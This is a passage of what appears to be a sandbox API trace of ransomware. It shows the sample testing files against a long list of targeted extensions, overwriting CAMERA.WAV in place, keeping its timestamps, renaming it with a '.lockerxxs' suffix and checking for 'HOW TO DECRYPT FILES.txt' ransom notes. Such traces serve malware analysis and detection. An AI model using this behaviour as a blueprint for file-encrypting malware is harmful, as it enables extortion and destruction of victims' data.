(lpString="*.odg") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.raw") returned 0 [0066.013] lstrlenA (lpString="*.raw") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.nef") returned 0 [0066.013] lstrlenA (lpString="*.nef") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.svg") returned 0 [0066.013] lstrlenA (lpString="*.svg") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.psd") returned 0 [0066.013] lstrlenA (lpString="*.psd") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.vmx") returned 0 [0066.014] lstrlenA (lpString="*.vmx") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.vmdk") returned 0 [0066.014] lstrlenA (lpString="*.vmdk") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.vdi") returned 0 [0066.014] lstrlenA (lpString="*.vdi") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.lay6") returned 0 [0066.014] lstrlenA (lpString="*.lay6") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mpeg") returned 0 [0066.014] lstrlenA (lpString="*.mpeg") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.djvu") returned 0 [0066.014] lstrlenA (lpString="*.djvu") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.tiff") returned 0 [0066.014] lstrlenA (lpString="*.tiff") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.backup") returned 0 [0066.014] lstrlenA (lpString="*.backup") returned 8 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.pdf") returned 0 [0066.014] lstrlenA (lpString="*.pdf") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.cert") returned 0 [0066.014] lstrlenA (lpString="*.cert") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.docm") returned 0 [0066.014] lstrlenA (lpString="*.docm") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.xlsm") returned 0 [0066.014] lstrlenA (lpString="*.xlsm") returned 6 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.dwg") returned 0 [0066.014] lstrlenA (lpString="*.dwg") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.nd") returned 0 [0066.014] lstrlenA (lpString="*.nd") returned 4 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.tlg") returned 0 [0066.014] lstrlenA (lpString="*.tlg") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.lgb") returned 0 [0066.014] lstrlenA (lpString="*.lgb") returned 5 [0066.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mov") returned 0 [0066.014] lstrlenA (lpString="*.mov") returned 5 [0066.015] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.xdw") returned 0 [0066.015] lstrlenA (lpString="*.xdw") returned 5 [0066.015] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.ods") returned 0 [0066.015] lstrlenA (lpString="*.ods") returned 5 [0066.015] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.wav") returned 1 [0066.015] lstrlenA (lpString="*.wav") returned 5 [0066.015] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" [0066.015] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" [0066.015] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV." [0066.015] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.lockerxxs" [0066.015] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.015] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1594 [0066.015] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1b50b600, dwHighDateTime=0x1bc8d47), lpLastAccessTime=0x407536*(dwLowDateTime=0x51c2ab50, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1b50b600, dwHighDateTime=0x1bc8d47)) returned 1 [0066.016] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.016] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x156e, lpOverlapped=0x0) returned 1 [0066.017] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="CAMERA.WAV" [0066.017] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.017] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x156e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x156e, lpOverlapped=0x0) returned 1 [0066.018] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.018] CloseHandle (hObject=0x8c) returned 1 [0066.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.lockerxxs")) returned 1 [0066.032] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0066.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CASHREG.WAV") returned 1 [0066.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CASHREG.WAV") returned 1 [0066.032] lstrcmpiA (lpString1="", lpString2="CASHREG.WAV") returned -1 [0066.032] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="CAMERA.WAV" [0066.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.033] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.033] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.033] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.033] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="CASHREG.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.ems") returned 0 [0066.033] lstrlenA (lpString="*.ems") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.db") returned 0 [0066.033] lstrlenA (lpString="*.db") returned 4 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.dbf") returned 0 [0066.033] lstrlenA (lpString="*.dbf") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.myox") returned 0 [0066.033] lstrlenA (lpString="*.myox") returned 6 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.myo") returned 0 [0066.033] lstrlenA (lpString="*.myo") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbw") returned 0 [0066.033] lstrlenA (lpString="*.qbw") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbb") returned 0 [0066.033] lstrlenA (lpString="*.qbb") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbm") returned 0 [0066.033] lstrlenA (lpString="*.qbm") returned 5 [0066.033] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbo") returned 0 [0066.034] lstrlenA (lpString="*.qbo") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbx") returned 0 [0066.034] lstrlenA (lpString="*.qbx") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qba") returned 0 [0066.034] lstrlenA (lpString="*.qba") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qby") returned 0 [0066.034] lstrlenA (lpString="*.qby") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qbj") returned 0 [0066.034] lstrlenA (lpString="*.qbj") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.ofx") returned 0 [0066.034] lstrlenA (lpString="*.ofx") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.qif") returned 0 [0066.034] lstrlenA (lpString="*.qif") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mye") returned 0 [0066.034] lstrlenA (lpString="*.mye") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mbox") returned 0 [0066.034] lstrlenA (lpString="*.mbox") returned 6 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.eml") returned 0 [0066.034] lstrlenA (lpString="*.eml") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.pst") returned 0 [0066.034] lstrlenA (lpString="*.pst") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.ost") returned 0 [0066.034] lstrlenA (lpString="*.ost") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.idx") returned 0 [0066.034] lstrlenA (lpString="*.idx") returned 5 [0066.034] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.dbx") returned 0 [0066.035] lstrlenA (lpString="*.dbx") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.sql") returned 0 [0066.035] lstrlenA (lpString="*.sql") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mdb") returned 0 [0066.035] lstrlenA (lpString="*.mdb") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.fdb") returned 0 [0066.035] lstrlenA (lpString="*.fdb") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.wab") returned 0 [0066.035] lstrlenA (lpString="*.wab") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.dat") returned 0 [0066.035] lstrlenA (lpString="*.dat") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.txt") returned 0 [0066.035] lstrlenA (lpString="*.txt") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.jpeg") returned 0 [0066.035] lstrlenA (lpString="*.jpeg") returned 6 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.jpg") returned 0 [0066.035] lstrlenA (lpString="*.jpg") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.png") returned 0 [0066.035] lstrlenA (lpString="*.png") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.php") returned 0 [0066.035] lstrlenA (lpString="*.php") returned 5 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.cs") returned 0 [0066.035] lstrlenA (lpString="*.cs") returned 4 [0066.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.cpp") returned 0 [0066.036] lstrlenA (lpString="*.cpp") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.rar") returned 0 [0066.036] lstrlenA (lpString="*.rar") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.zip") returned 0 [0066.036] lstrlenA (lpString="*.zip") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.html") returned 0 [0066.036] lstrlenA (lpString="*.html") returned 6 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.htm") returned 0 [0066.036] lstrlenA (lpString="*.htm") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.xlsx") returned 0 [0066.036] lstrlenA (lpString="*.xlsx") returned 6 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.xls") returned 0 [0066.036] lstrlenA (lpString="*.xls") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mp4") returned 0 [0066.036] lstrlenA (lpString="*.mp4") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.ppt") returned 0 [0066.036] lstrlenA (lpString="*.ppt") returned 5 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.pptx") returned 0 [0066.036] lstrlenA (lpString="*.pptx") returned 6 [0066.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.doc") returned 0 [0066.037] lstrlenA (lpString="*.doc") returned 5 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.dot") returned 0 [0066.037] lstrlenA (lpString="*.dot") returned 5 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.docx") returned 0 [0066.037] lstrlenA (lpString="*.docx") returned 6 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.7z") returned 0 [0066.037] lstrlenA (lpString="*.7z") returned 4 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.tar") returned 0 [0066.037] lstrlenA (lpString="*.tar") returned 5 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.bz2") returned 0 [0066.037] lstrlenA (lpString="*.bz2") returned 5 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.gz") returned 0 [0066.037] lstrlenA (lpString="*.gz") returned 4 [0066.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mkv") returned 0 [0066.038] lstrlenA (lpString="*.mkv") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.eml") returned 0 [0066.038] lstrlenA (lpString="*.eml") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.msg") returned 0 [0066.038] lstrlenA (lpString="*.msg") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.edb") returned 0 [0066.038] lstrlenA (lpString="*.edb") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.accdb") returned 0 [0066.038] lstrlenA (lpString="*.accdb") returned 7 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.odb") returned 0 [0066.038] lstrlenA (lpString="*.odb") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.java") returned 0 [0066.038] lstrlenA (lpString="*.java") returned 6 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.asm") returned 0 [0066.038] lstrlenA (lpString="*.asm") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.pfx") returned 0 [0066.038] lstrlenA (lpString="*.pfx") returned 5 [0066.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.pem") returned 0 [0066.039] lstrlenA (lpString="*.pem") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.p12") returned 0 [0066.039] lstrlenA (lpString="*.p12") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.gpg") returned 0 [0066.039] lstrlenA (lpString="*.gpg") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.vsd") returned 0 [0066.039] lstrlenA (lpString="*.vsd") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.odg") returned 0 [0066.039] lstrlenA (lpString="*.odg") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.raw") returned 0 [0066.039] lstrlenA (lpString="*.raw") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.nef") returned 0 [0066.039] lstrlenA (lpString="*.nef") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.svg") returned 0 [0066.039] lstrlenA (lpString="*.svg") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.psd") returned 0 [0066.039] lstrlenA (lpString="*.psd") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.vmx") returned 0 [0066.039] lstrlenA (lpString="*.vmx") returned 5 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.vmdk") returned 0 [0066.039] lstrlenA (lpString="*.vmdk") returned 6 [0066.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.vdi") returned 0 [0066.039] lstrlenA (lpString="*.vdi") returned 5 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.lay6") returned 0 [0066.040] lstrlenA (lpString="*.lay6") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mpeg") returned 0 [0066.040] lstrlenA (lpString="*.mpeg") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.djvu") returned 0 [0066.040] lstrlenA (lpString="*.djvu") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.tiff") returned 0 [0066.040] lstrlenA (lpString="*.tiff") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.backup") returned 0 [0066.040] lstrlenA (lpString="*.backup") returned 8 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.pdf") returned 0 [0066.040] lstrlenA (lpString="*.pdf") returned 5 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.cert") returned 0 [0066.040] lstrlenA (lpString="*.cert") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.docm") returned 0 [0066.040] lstrlenA (lpString="*.docm") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.xlsm") returned 0 [0066.040] lstrlenA (lpString="*.xlsm") returned 6 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.dwg") returned 0 [0066.040] lstrlenA (lpString="*.dwg") returned 5 [0066.040] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.nd") returned 0 [0066.040] lstrlenA (lpString="*.nd") returned 4 [0066.041] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.tlg") returned 0 [0066.041] lstrlenA (lpString="*.tlg") returned 5 [0066.041] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.lgb") returned 0 [0066.041] lstrlenA (lpString="*.lgb") returned 5 [0066.041] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.mov") returned 0 [0066.041] lstrlenA (lpString="*.mov") returned 5 [0066.041] PathMatchSpecA (pszFile="C:\\Program 